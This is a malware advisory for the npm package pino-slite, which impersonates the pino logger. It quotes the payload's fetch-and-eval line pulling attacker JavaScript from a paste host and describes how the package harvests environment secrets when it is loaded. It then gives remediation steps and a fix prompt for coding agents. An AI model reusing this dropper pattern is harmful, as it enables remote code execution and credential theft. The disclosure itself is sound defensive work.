# MAL-2026-6078: Malicious code in pino-slite (npm)


- **Type:** Malicious package
- **Package:** `pino-slite` (npm)
- **Published:** 17 Jun 2026
- **Also known as:** GHSA-4m74-rvqg-rg5w

## What is MAL-2026-6078?

MAL-2026-6078 is a malicious package in pino-slite, published on 17 Jun 2026. 

### Official description

pino-slite impersonates the legitimate `pino` logger (README titled 'pino-slite (Pino)' with badges and homepage pointing to getpino.io, exported function named `pino`). On require(), lib/writer.js (loaded transitively from the package main pino.js) decodes a base64 string and passes it to eval(atob(hash)). The decoded payload performs `fetch('https://jsonkeeper.com/b/0DWFC').then(r=>r.json()).then(d=>{eval(d.ret);})`, executing attacker-controlled JavaScript fetched from a mutable third-party paste host on every load. Immediately before the eval, the module assembles a `data` object containing `{...process.env, version, platform: os.platform(), hostname: os.hostname(), username: os.userInfo().username, macAddresses: <non-internal IPv4 MACs>}`, which is in scope for the remotely-fetched code — providing a ready-made channel to exfiltrate the installer's full environment (CI secrets, AWS_*, NPM_TOKEN, GH tokens, etc.) and host identifiers. This combines a typosquat lure, an import-time RCE dropper from an attacker-controlled mutable URL, and an environment-credential harvester.

## What should I do about MAL-2026-6078?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6078 is a malicious package: pino-slite (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6078/ (Markdown: https://insights.sbomify.com/MAL-2026-6078/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6078

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-6078/
Summaries are generated and may contain mistakes; the official description above is the record.